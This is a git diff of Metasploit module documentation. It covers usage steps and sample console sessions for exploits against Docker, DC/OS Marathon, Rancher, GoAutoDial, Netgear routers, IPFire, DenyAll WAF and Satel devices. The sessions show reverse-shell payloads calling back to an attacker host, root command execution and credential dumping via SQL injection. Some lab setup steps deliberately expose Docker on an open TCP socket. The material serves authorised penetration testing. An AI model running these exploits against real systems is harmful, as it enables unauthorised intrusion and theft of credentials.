a/documentation/modules/auxiliary/scanner/snmp/cambium_snmp_loot.md +++ b/documentation/modules/auxiliary/scanner/snmp/cambium_snmp_loot.md @@ -1,6 +1,8 @@ -Cambium devices (ePMP, PMP, Force, others) can be administered using SNMP. The device configuration contains IP addresses, keys, and passwords, amongst other information. This module uses SNMP to extract Cambium ePMP device configuration. On certain software versions, specific device configuration values can be accessed using SNMP RO string, even though only SNMP RW string should be able to access them, according to MIB documentation. +Cambium devices (ePMP, PMP, Force, others) can be administered using SNMP. The device configuration contains IP addresses, keys, and passwords, amongst other information. +This module uses SNMP to extract Cambium ePMP device configuration. On certain software versions, specific device configuration values can be accessed using SNMP RO string, even though only SNMP RW string should be able to access them, according to MIB documentation. -The module also triggers full configuration backup, and retrieves the backup url. The configuration file can then be downloaded without authentication. The module has been tested primarily on Cambium ePMP current version (3.2.x, as of today), PMP, and Force units. +The module also triggers full configuration backup, and retrieves the backup url. The configuration file can then be downloaded without authentication. +The module has been tested primarily on Cambium ePMP current version (3.2.x, as of today), PMP, and Force units. Note: If the backup url is not retrieved, it is recommended to increase the TIMEOUT and reduce the THREADS. Backup url can also be retrieved by quering the OID as follows: @@ -16,7 +18,7 @@ snmpget -v2c -c public 1.3.3.7 1.3.6.1.4.1.17713.21.6.4.13.0 3. Do: ```set RPORT [PORT]``` 4. Do: ```run``` -## Sample Output +## Scenarios ``` msf > use auxiliary/scanner/snmp/epmp_snmp_loot diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_login.md b/documentation/modules/auxiliary/scanner/ssh/ssh_login.md index 1a1be86f02..e50c0ff6bd 100644 --- a/documentation/modules/auxiliary/scanner/ssh/ssh_login.md +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_login.md @@ -14,7 +14,7 @@ 5. Do: `run` 6. You will hopefully see something similar to, followed by a session: - ````[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '``` + ```[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '``` ## Options diff --git a/documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md b/documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md new file mode 100644 index 0000000000..c4d72b410f --- /dev/null +++ b/documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md @@ -0,0 +1,28 @@ +This module exploits an OS Command Injection vulnerability in Satel SenNet Data Logger and Electricity Meters to perform arbitrary command execution as 'root'. + +The following versions of SenNet Data Logger and Electricity Meters, monitoring platforms, are affected: +1. SenNet Optimal DataLogger V5.37c-1.43c and prior, +2. SenNet Solar Datalogger V5.03-1.56a and prior, and +3. SenNet Multitask Meter V5.21a-1.18b and prior. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/telnet/satel_cmd_exec``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + + ``` +msf > use auxiliary/scanner/telnet/satel_cmd_exec +msf auxiliary(satel_cmd_exec) > set rhosts 1.3.3.7 +msf auxiliary(satel_cmd_exec) > run + +[*] 1.3.3.7:5000 - Sending command now - id; +[+] 1.3.3.7:5000 - uid=0(root) gid=0(root) +[+] 1.3.3.7:5000 - File saved in: /root/.msf4/loot/20000000000003_1.3.3.7_cmdexeclog_12345.txt +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + + ``` diff --git a/documentation/modules/exploit/linux/http/centreon_useralias_exec.md b/documentation/modules/exploit/linux/http/centreon_useralias_exec.md index f9452ae0cd..9ac31d1ccc 100644 --- a/documentation/modules/exploit/linux/http/centreon_useralias_exec.md +++ b/documentation/modules/exploit/linux/http/centreon_useralias_exec.md @@ -187,7 +187,7 @@ finish ## Scenarios Just a standard run. - +``` msf > use exploit/linux/http/centreon_useralias_exec msf exploit(centreon_useralias_exec) > set payload cmd/unix/reverse_python payload => cmd/unix/reverse_python diff --git a/documentation/modules/exploit/linux/http/dcos_marathon.md b/documentation/modules/exploit/linux/http/dcos_marathon.md new file mode 100644 index 0000000000..b215fe0556 --- /dev/null +++ b/documentation/modules/exploit/linux/http/dcos_marathon.md @@ -0,0 +1,192 @@ +# Vulnerable Application +Utilizing the DCOS Cluster's Marathon UI, an attacker can create +a docker container with the '/' path mounted with read/write +permissions on the host server that is running the docker container. +As the docker container executes command as uid 0 it is honored +by the host operating system allowing the attacker to edit/create +files owed by root. This exploit abuses this to creates a cron job +in the '/etc/cron.d/' path of the host server. + +*Notes: The docker image must be a valid docker image from +hub.docker.com. Further more the docker container will only +deploy if there are resources available in the DC/OS + +## DCOS +This Exploit was tested with CentOS 7 as the host operating system for +the 2 services of the DCOS cluster. With DCOS version 1.7 and 1.8, with +Default 'custom' installation for on site premise setup. Only the Install +part of the DCOS guide was completed, the system hardening and securing +your cluster section where skipped. This is to represent a 'Default' install +with a system admin conducting hasty deployments taking no thought about security. + + +## To Setup Your Cluster +I recommend doing a 'on-premise'/custom +cluster. https://dcos.io/docs/1.8/administration/installing/custom/ +Create a virtual CentOS machine, install requirements base on the above +guide. + +```bash +# The TLDR from the above guide +sudo systemctl stop firewalld && sudo systemctl disable firewalld +sudo yum install -y tar xz unzip curl ipset ntp +sudo systemctl start ntpd +sudo systemctl enable ntpd +sudo sed -i s/SELINUX=enforcing/SELINUX=permissive/g /etc/selinux/config && \ + sudo groupadd nogroup && sudo reboot +``` + +Install a supported version of docker on the CentOS systems +https://dcos.io/docs/1.8/administration/installing/custom/system-requirements/install-docker-centos/ + +```bash +# The TLDR of the above guide +sudo yum -y remove docker docker-common container-selinux +sudo yum -y remove docker-selinux +sudo yum install -y yum-utils +sudo yum-config-manager \ + --add-repo \ + https://docs.docker.com/engine/installation/linux/repo_files/centos/docker.repo +sudo yum-config-manager --enable docker-testing +sudo yum makecache fast +sudo yum -y install docker-engine-1.11.2 +sudo systemctl start docker +sudo systemctl enable docker +sudo echo overlay > /etc/modules-load.d/overlay.conf +sudo reboot +``` + +Once the CentOS machine has rebooted, edit the systemctl +service file for docker and change the ExecStart- line to +`ExecStart=/usr/bin/docker daemon --storage-driver=overlay -H fd://` +restart the docker service and verify it is running. +lastly generate ssh rsa keys for authentication. And update the +/etc/ssh/sshd_config file to support root login. + +```bash +ssh-keygen -t rsa -b 4096 +# Press enter until complete, DO NOT PUT A PASSWORD. +cp ~/.ssh/id_rsa.pub ~/.ssh/authorized_keys +cat ~/.ssh/id_rsa # save the output you will need it for later +rm ~/.ssh/id_rsa # before doing this make sure you have saved a copy for later +``` + +Shut down the CentOS vm, take a snapshot. (This will be your base) +clone the VM 2 times. One will be DCOS-Master, the Other DCOS-Agent. +Start the DCOS-Master and DCOS-Agent virtual machines You just cloned. +Login and get their current IP address. +* Note: I recommend giving them static IPs if you have further use for the cluster. + +From here use another Linux machine with docker installed to finish +the installation process. I used an Ubuntu machine with docker installed. + +Follow the custom CLI guide for creating the required files in +the genconf folder. +https://dcos.io/docs/1.8/administration/installing/custom/cli/ + +Example genconf/config.yaml +``` +--- +agent_list: +- 192.168.0.10 +bootstrap_url: file:///opt/dcos_install_tmp +cluster_name: DCOS +exhibitor_storage_backend: static +ip_detect_filename: /genconf/ip-detect +master_discovery: static +master_list: +- 192.168.0.9 +process_timeout: 10000 +resolvers: +- 8.8.8.8 +- 8.8.4.4 +ssh_port: 22 +ssh_user: root +``` +Example genconf/ip-detect +```bash +#!/usr/bin/env bash +set -o nounset -o errexit +export PATH=/usr/sbin:/usr/bin:$PATH +ip=$(ip addr show ens33) +echo $( echo $ip | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +``` + +place your id_rsa ssh key into the genconf file and rename the +file to ssh_key and `chmod 0600 genconf/ssh_key` + +Deploying the cluster +in the folder containing the genconf folder do the following. +NOTE: if following the cli install from DCOS itself, it will fail +if you do --install-prereqs. It will install an unsupported version of +docker. + +```bash +curl -O https://downloads.dcos.io/dcos/stable/dcos_generate_config.sh +chmod +x dcos_generate_config.sh +sudo ./dcos_generate_config.sh --genconf +sudo ./dcos_generate_config.sh --preflight +# If all preflight checks pass +sudo ./dcos_generate_config.sh --deploy +# get a cup of coffie +# wait a minute or two after deploy completes +sudo bash dcos_generate_config.sh --postflight +``` + +If all is passing navigate to http://[master_ip]:8080/ +You should see the Marathon UI web application. + +# Exploitation +This module is designed for the attacker to leverage, creation of a +docker container with out authentication through the DCOS Marathon UI +to gain root access to the hosting server of the docker container +in the DCOS cluster. + +## Options +- DOCKERIMAGE is the hub.docker.com docker container image you are wanting to have the DCOS Cluster to deploy for this exploit. +- TARGETURI this is the path to make the Marathon UI web request to. By default this is /v2/apps +- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start. +- CONTAINER_ID is optional if you want to have your container docker have a human readable name else it will be randomly generated + +## Steps to exploit with module +- [ ] Start msfconsole +- [ ] use exploit/linux/http/dcos_marathon +- [ ] Set the options appropriately and set VERBOSE to true +- [ ] Verify it creates a docker container and it successfully runs +- [ ] After a minute a session should be opened from the agent server + +## Example Output +``` +msf > use exploit/linux/http/dcos_marathon +msf exploit(dcos_marathon) > set RHOST 192.168.0.9 +RHOST => 192.168.0.9 +msf exploit(dcos_marathon) > set payload python/meterpreter/reverse_tcp +payload => python/meterpreter/reverse_tcp +msf exploit(dcos_marathon) > set LHOST 192.168.0.100 +LHOST => 192.168.0.100 +msf exploit(dcos_marathon) > set verbose true +verbose => true +msf exploit(dcos_marathon) > check +[*] 192.168.0.9:8080 The target appears to be vulnerable. +msf exploit(dcos_marathon) > exploit + +[*] Started reverse TCP handler on 192.168.0.100:4444 +[*] Setting container json request variables +[*] Creating the docker container command +[*] The docker container is created, waiting for it to deploy +[*] Waiting up to 60 seconds for docker container to start +[*] The docker container is running, removing it +[*] Waiting for the cron job to run, can take up to 60 seconds +[*] Sending stage (39690 bytes) to 192.168.0.10 +[*] Meterpreter session 1 opened (192.168.0.100:4444 -> 192.168.0.10:54468) at 2017-03-01 14:22:02 -0500 +[+] Deleted /etc/cron.d/FOWkTeZL +[+] Deleted /tmp/TIWpOfUR + +meterpreter > sysinfo +Computer : localhost.localdomain +OS : Linux 3.10.0-327.36.3.el7.x86_64 #1 SMP Mon Oct 24 16:09:20 UTC 2016 +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/denyall_waf_exec.md b/documentation/modules/exploit/linux/http/denyall_waf_exec.md new file mode 100644 index 0000000000..c41efa6ae1 --- /dev/null +++ b/documentation/modules/exploit/linux/http/denyall_waf_exec.md @@ -0,0 +1,47 @@ +## Vulnerable Application + +This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a terminal command under the context of the web server user. + +It's possible to have trial demo for 15 days at Amazon Marketplace. +[https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911](https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911) + +You just need to follow instruction above URL. + +## Verification Steps + +A successful check of the exploit will look like this: + +- [ ] Start `msfconsole` +- [ ] `use use exploit/linux/http/denyall_exec` +- [ ] Set `RHOST` +- [ ] Set `LHOST` +- [ ] Run `check` +- [ ] **Verify** that you are seeing `The target appears to be vulnerable.` +- [ ] Run `exploit` +- [ ] **Verify** that you are seeing `iToken` value extraction. +- [ ] **Verify** that you are getting `meterpreter` session. + +## Scenarios + +``` +msf > use exploit/linux/http/denyall_exec +msf exploit(denyall_exec) > +msf exploit(denyall_exec) > set RHOST 35.176.123.128 +RHOST => 35.176.123.128 +msf exploit(denyall_exec) > set LHOST 35.12.3.3 +LHOST => 35.12.3.3 +msf exploit(denyall_exec) > check +[*] 35.176.123.128:3001 The target appears to be vulnerable. +msf exploit(denyall_exec) > exploit + +[*] Started reverse TCP handler on 35.12.3.3:4444 +[*] Extracting iToken value from unauthenticated accessible endpoint. +[+] Awesome. iToken value = n84b214ad1f53df0bd6ffa3dcfe8059a +[*] Trigerring command injection vulnerability with iToken value. +[*] Sending stage (40411 bytes) to 35.176.123.128 +[*] Meterpreter session 1 opened (35.176.123.128:4444 -> 35.12.3.3:60556) at 2017-09-19 14:31:52 +0300 + +meterpreter > pwd +/var/log/denyall/reverseproxy +meterpreter > +``` \ No newline at end of file diff --git a/documentation/modules/exploit/linux/http/docker_daemon_tcp.md b/documentation/modules/exploit/linux/http/docker_daemon_tcp.md new file mode 100644 index 0000000000..4c32e54a03 --- /dev/null +++ b/documentation/modules/exploit/linux/http/docker_daemon_tcp.md @@ -0,0 +1,131 @@ +# Vulnerable Application +Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp +with tls but without tls-auth), an attacker can create a Docker +container with the '/' path mounted with read/write permissions on the +host server that is running the Docker container. As the Docker +container executes command as uid 0 it is honored by the host operating +system allowing the attacker to edit/create files owned by root. This +exploit abuses this to creates a cron job in the '/etc/cron.d/' path of +the host server. + +The Docker image should exist on the target system or be a valid image +from hub.docker.com. + +## Docker Engine +By default, Docker runs via a non-networked unix socket. It can also +optionally communicate using a tcp socket. + +> Warning: Changing the default docker daemon binding to a TCP port or +Unix docker user group will increase your security risks by allowing +non-root users to gain root access on the host. Make sure you control +access to docker. If you are binding to a TCP port, anyone with access +to that port has full Docker access; so it is not advisable on an open +network. -- [from docs.docker.com][1] + +This module was tested with Debian 9 and CentOS 7 as the host operating +system and with Docker CE 17.06.0-ce and Docker Engine 1.13.1. + +### Install Debian 9 +First [install Debian 9][2] with default task selection. This includes +the "*standard system utilities*". + +### Install Docker +Then install a supported version of [Docker on Debian system][3]. + +```bash +# TL;DR +apt-get remove docker docker-engine +apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common +curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add - +apt-key fingerprint 0EBFCD88 +# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88. +add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable" +apt-get update +apt-get install docker-ce +docker run hello-world +``` + +### Activate unprotected tcp socket +Once Docker is installed, customize the Docker daemon options and add +the tcp socket `-H tcp://0.0.0.0:2375` option. On Debian override the +settings from `/lib/systemd/system/docker.service` with a new file +`/etc/systemd/system/docker.service`. + +Further information: [docker systemd][4] and [docker daemon options][5]. + +```bash +# TL;DR +echo "[Service] +ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375" | tee /etc/systemd/system/docker.service +systemctl daemon-reload +systemctl restart docker +curl http://127.0.0.1:2375/_ping ; echo +OK +``` + +### Mitigation + +[Disable][5] or [protect][6] the Docker tcp socket. + +# Exploitation +This module is designed for the attacker to leverage, creation of a +Docker container with out authentication through the Docker tcp socket +to gain root access to the hosting server of the Docker container. + +## Options +- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Docker to deploy for this exploit. +- CONTAINER_ID if you want to have a human readable name for your container, else it will be randomly generated + +## Steps to exploit with module +- [ ] Start msfconsole +- [ ] use exploit/linux/http/docker_daemon_tcp +- [ ] Set the options appropriately and set VERBOSE to true +- [ ] Verify it creates a Docker container and it successfully runs +- [ ] After a minute a session should be opened from the Docker server + +## Example Output +``` +msf > use exploit/linux/http/docker_daemon_tcp +msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23 +RHOST => 192.168.66.23 +msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp +PAYLOAD => python/meterpreter/reverse_tcp +msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10 +LHOST => 192.168.66.10 +msf exploit(docker_daemon_tcp) > set VERBOSE true +VERBOSE => true +msf exploit(docker_daemon_tcp) > check +[+] 192.168.66.23:2375 The target is vulnerable. +msf exploit(docker_daemon_tcp) > run + +[*] Started reverse TCP handler on 192.168.66.10:4444 +[*] Check if images exist on the target host +[*] Image is not available on the target host +[*] Trying to pulling image from docker registry, this may take a while +[*] Setting container json request variables +[*] Creating the docker container command +[*] The docker container is created, waiting for deploy +[*] Waiting for the cron job to run, can take up to 60 seconds +[*] Waiting until the docker container stopped +[*] The docker container has been stopped, now trying to remove it +[*] Sending stage (40411 bytes) to 192.168.66.23 +[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200 +[+] Deleted /etc/cron.d/lVoepNpy +[+] Deleted /tmp/poasDIuZ + + +meterpreter > sysinfo +Computer : debian +OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > +``` + +[1]:https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket +[2]:https://www.debian.org/releases/stretch/amd64/index.html.en +[3]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/ +[4]:https://docs.docker.com/engine/admin/systemd/ +[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options +[6]:https://docs.docker.com/engine/security/https/ diff --git a/documentation/modules/exploit/linux/http/goautodial_3_rce_code_injection.md b/documentation/modules/exploit/linux/http/goautodial_3_rce_code_injection.md new file mode 100644 index 0000000000..1fa529418e --- /dev/null +++ b/documentation/modules/exploit/linux/http/goautodial_3_rce_code_injection.md @@ -0,0 +1,85 @@ +## Description + +This module exploits a SQL injection flaw and command injection flaw within GoAutoDial CE 3.3, which permits authentication bypass and a complete compromise of the underlying system with root privileges. This module also extracts the administrative users password from the underlying database. + +## Affected software + +GoAutoDial 3.3 CE (32bit and 64bit) is available for download from goautodial.org. In order to download, register a free account then download the bootable ISOs. Both ISOs have been used for the dev of this. http://goautodial.org/attachments/download/3237/goautodial-32bit-ce-3.3-final.iso.html +Refer to: https://www.exploit-db.com/exploits/36807/ + +NOTE: GoAutoDial heavily restricts inbound traffic via iptables rules (and uses fail2ban, as well). This can cause bind payloads to quietly fail. For bind payloads, using ports which allow inbound connections but have no service running is ideal (ports 21 and 222 fall into this category for default GoAutoDial behavior). + +## Verification + +- Start `msfconsole` +- Do `use exploit/linux/http/goautodial_3_rce_command_injection` +- Do `set RHOST ` +- Do `set LHOST ` +- Do `set LPORT ` +- Do `run` +- Wait for shell + +## Scenarios + +### Targeting 64-bit GoAutoDial + +``` +msf > use exploit/linux/http/goautodial_3_rce_command_injection +msf exploit(goautodial_3_rce_command_injection) > set rhost 172.16.191.150 +rhost => 172.16.191.150 +msf exploit(goautodial_3_rce_command_injection) > check +[+] 172.16.191.150:443 The target is vulnerable. +msf exploit(goautodial_3_rce_command_injection) > set lhost 172.16.191.181 +lhost => 172.16.191.181 +msf exploit(goautodial_3_rce_command_injection) > run + +[*] Started reverse TCP handler on 172.16.191.181:4444 +[*] 172.16.191.150:443 - Trying SQL injection... +[+] 172.16.191.150:443 - Authentication Bypass (SQLi) was successful +[*] 172.16.191.150:443 - Dumping admin password... +[+] 172.16.191.150:443 - Found credentials: admin|goautodial|Admin|||Y +[*] 172.16.191.150:443 - Sending payload... +[*] Command Stager progress - 68.67% done (798/1162 bytes) +[*] Sending stage (2854264 bytes) to 172.16.191.150 +[*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.150:52876) at 2017-07-02 11:08:02 -0400 +[*] Command Stager progress - 100.00% done (1162/1162 bytes) + +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +meterpreter > sysinfo +Computer : go.goautodial.org +OS : CentOS 5.11 (Linux 2.6.18-407.el5) +Architecture : x64 +Meterpreter : x64/linux +``` + +### Targeting 32-bit GoAutoDial +``` +msf > use exploit/linux/http/goautodial_3_rce_command_injection +msf exploit(goautodial_3_rce_command_injection) > set lhost 10.0.2.4 +lhost => 10.0.2.4 +msf exploit(goautodial_3_rce_command_injection) > set rhost 10.0.2.44 +rhost => 10.0.2.44 +msf exploit(goautodial_3_rce_command_injection) > set payload linux/x86/meterpreter/reverse_tcp +payload => linux/x86/meterpreter/reverse_tcp +msf exploit(goautodial_3_rce_command_injection) > run + +[*] Started reverse TCP handler on 10.0.2.4:4444 +[*] 10.0.2.44:443 - Trying SQL injection... +[+] 10.0.2.44:443 - Authentication Bypass (SQLi) was successful +[*] 10.0.2.44:443 - Dumping admin password... +[+] 10.0.2.44:443 - Found credentials: admin|newpassword|Admin|||Y +[*] 10.0.2.44:443 - Sending payload... +[*] Command Stager progress - 78.66% done (796/1012 bytes) +[*] Sending stage (798104 bytes) to 10.0.2.44 +[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.44:49035) at 2017-07-07 15:49:48 -0500 +[*] Command Stager progress - 100.00% done (1012/1012 bytes) + +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +meterpreter > sysinfo +Computer : go.goautodial.org +OS : CentOS 5.10 (Linux 2.6.18-371.11.1.el5) +Architecture : i686 +Meterpreter : x86/linux +``` diff --git a/documentation/modules/exploit/linux/http/ipfire_oinkcode_exec.md b/documentation/modules/exploit/linux/http/ipfire_oinkcode_exec.md new file mode 100644 index 0000000000..c6ead925f9 --- /dev/null +++ b/documentation/modules/exploit/linux/http/ipfire_oinkcode_exec.md @@ -0,0 +1,48 @@ +## Vulnerable Application + + Official Source: [ipfire](http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core110/ipfire-2.19.x86_64-full-core110.iso) + +This module has been verified against: + +1. 2.19 core 100 +2. 2.19 core 110 (exploit-db, not metasploit module) + +## Verification Steps + + 1. Install the firewall + 2. Start msfconsole + 3. Do: ```use exploit/linux/http/ipfire_oinkcode_exec``` + 4. Do: ```set password admin``` or whatever it was set to at install + 5. Do: ```set rhost 10.10.10.10``` + 6. Do: ```set payload cmd/unix/reverse_perl``` + 7. Do: ```set lhost 192.168.2.229``` + 8. Do: ```exploit``` + 9. You should get a shell. + +## Options + + **PASSWORD** + + Password is set at install. May be blank, 'admin', or 'ipfire'. + +## Scenarios + + ``` + msf > use exploit/linux/http/ipfire_oinkcode_exec + msf exploit(ipfire_oinkcode_exec) > set password admin + password => admin + msf exploit(ipfire_oinkcode_exec) > set rhost 192.168.2.201 + rhost => 192.168.2.201 + msf exploit(ipfire_oinkcode_exec) > set verbose true + verbose => true + msf exploit(ipfire_oinkcode_exec) > check + [*] 192.168.2.201:444 The target appears to be vulnerable. + msf exploit(ipfire_oinkcode_exec) > exploit + + [*] Started reverse TCP handler on 192.168.2.117:4444 + [*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.201:38412) at 2017-06-14 21:12:21 -0400 + id + uid=99(nobody) gid=99(nobody) groups=99(nobody),16(dialout),23(squid) + whoami + nobody + ``` \ No newline at end of file diff --git a/documentation/modules/exploit/linux/http/logsign_exec.md b/documentation/modules/exploit/linux/http/logsign_exec.md index c875dd0347..177a36b5bb 100644 --- a/documentation/modules/exploit/linux/http/logsign_exec.md +++ b/documentation/modules/exploit/linux/http/logsign_exec.md @@ -56,7 +56,7 @@ dns-nameservers 8.8.8.8 1. Install the software as documented above 2. Start `msfconsole` 3. `use exploit/linux/http/logsign_exec` - 4. `set rhost 12.0.0.10 + 4. `set rhost 12.0.0.10` 6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type. 7. `set LHOST 12.0.0.1` 8. `check` and validate that you are seeing following output. diff --git a/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md b/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md new file mode 100644 index 0000000000..01af384ccc --- /dev/null +++ b/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md @@ -0,0 +1,86 @@ +## Vulnerable Application + + NETGEAR DGN2200v1, DGN2200v2, DGN2200v3, DGN2200v4 routers + +## Verification Steps + + 1. start `msfconsole` + 2. `use exploit/linux/http/netger_dnslookup_cmd_exec` + 3. `set RHOST 192.168.1.1` `<--- Router IP` + 4. `set USERNAME xxxx` (see [here](https://github.com/thecarterb/metasploit-framework/blob/ng_dns_cmd_exec-dev/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options)) + 5. `set PASSWORD xxxx` (see [here](https://github.com/thecarterb/metasploit-framework/blob/ng_dns_cmd_exec-dev/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options)) + 5. `set PAYLOAD cmd/unix/reverse_bash` + 6. `set LHOST 192.168.1.x` + 7. `set LPORT xxxx` + 8. `run` + 9. Get a session + +## Options + + **USERNAME** + + The `USERNAME` option sets the username to authenticate the request with. + The command injection will __not__ succeed if the username and password are not correct. + The default username for NETGEAR Routers is `admin`. If you don't know the credentials, + your best bet will be to use the default username and password. + + + **PASSWORD** + + The `PASSWORD`options sets the password to authenticate the request with. + The command injection will __not__ succeed if the username and password are not correct. + The default password for NETGEAR Routers is `password`. If you don't know the credentials, + your best bet will be to use the default username and password. + +## Advanced Options + + **HOSTNAME** + + The request is went with a `host_name` POST parameter. This option sets this parameter. + The default is `www.google.com`. The reason for the parameter is that the file that this + vulnerability is located in (`dnslookup.cgi`) actually needs a domain to resolve, or else + the injection won't work. + + +## Scenarios + + What it should look like against a vulnerable router. + + ``` +msf > use exploit/linux/http/netgear_dnslookup_cmd_exec +msf exploit(netgear_dnslookup_cmd_exec) > options + +Module options (exploit/linux/http/netgear_dnslookup_cmd_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST yes The target address + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + USERNAME yes Username to authenticate with + VHOST no HTTP server virtual host + + +Exploit target: + + Id Name + -- ---- + 0 NETGEAR DDGN2200 Router + + +msf exploit(netgear_dnslookup_cmd_exec) > set RHOST 192.168.1.1 +RHOST => 192.168.1.1 +msf exploit(netgear_dnslookup_cmd_exec) > set USERNAME admin +USERNAME => admin +msf exploit(netgear_dnslookup_cmd_exec) > set PASSWORD password +PASSWORD => password +msf exploit(netgear_dnslookup_cmd_exec) > run + +[*] Started reverse TCP double handler on 192.168.1.9:4444 +[+] Router is a NETGEAR router (DGN2200v1) +[*] Sending payload... +[*] Command shell session 1 opened (192.168.1.9:4444 -> 192.168.1.9:53352) at 2017-03-02 19:36:47 -0500 +``` + diff --git a/documentation/modules/exploit/linux/http/rancher_server.md b/documentation/modules/exploit/linux/http/rancher_server.md new file mode 100644 index 0000000000..8edc9376cb --- /dev/null +++ b/documentation/modules/exploit/linux/http/rancher_server.md @@ -0,0 +1,169 @@ +# Vulnerable Application +Utilizing Rancher Server, an attacker can create a docker container +with the '/' path mounted with read/write permissions on the host +server that is running the docker container. As the docker container +executes command as uid 0 it is honored by the host operating system +allowing the attacker to edit/create files owned by root. This exploit +abuses this to creates a cron job in the '/etc/cron.d/' path of the +host server. + +The Docker image should exist on the target system or be a valid image +from hub.docker.com. + +Use `check` with verbose mode to get a list of exploitable Rancher +Hosts managed by the target system. + +## Rancher setup +Rancher is deployed as a set of Docker containers. Running Rancher is +as simple as launching two containers. One container as the management +server and another container on a node as an agent. + +This module was tested with Debian 9 and CentOS 7 as the host operating +system with Docker 17.06.1-ce and Rancher Server 1.6.2, all with +default installation. + +### Install Debian 9 +First [install Debian 9][1] with default task selection. This includes +the "*standard system utilities*". + +### Install Docker CE +Then install a supported version of [Docker on Debian system][2]. + +```bash +# TL;DR +apt-get remove docker docker-engine +apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common +curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add - +apt-key fingerprint 0EBFCD88 +# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88. +add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable" +apt-get update +apt-get install docker-ce +docker run hello-world +``` + +### Rancher Server (Management) +I recommend doing a ['Rancher Server - Single Container (NON-HA)' +installation][3]. + +If Docker is installed, the command to start a single instance of +Rancher is simple. + +```bash +# TL;DR +sudo docker run -d --restart=unless-stopped -p 8080:8080 rancher/server +``` + +If all is passing navigate to `http://[ip]:8080/`. You should see the +Rancher Server UI web application. + +### Rancher Host (Agent) + +Add a [new host][4] to Rancher Server so that the Docker host can be managed. + +**Set Host Registration URL** + +The first time that you add a host, you may be required to set up the +Host Registration URL. + +* Navigate to Admin / Settings (`http://[ip]:8080/admin/settings`) +* Check if `"http://[ip]:8080/"` is set +* Click on Save. + +**Add new host** + +* Navigate to Infrastructure / Hosts (`http://[ip]:8080/env/1a5/infra/hosts`) +* Click on Add Host +* Copy the command from Point 5 (and remove sudo prefix) + `docker run --rm --privileged -v /var/run/docker.sock:/var/run/docker.sock -v /var/lib/rancher:/var/lib/rancher rancher/agent:v1.2.2 http://[ip]:8080/v1/scripts/XXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXX` +* Paste and run the command on the host + +The new host should pop up on the Hosts screen within a minute. + +# Exploitation +This module is designed to gain root access on a Rancher Host. + +## Options +- CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated. +- DOCKERIMAGE is the local image or 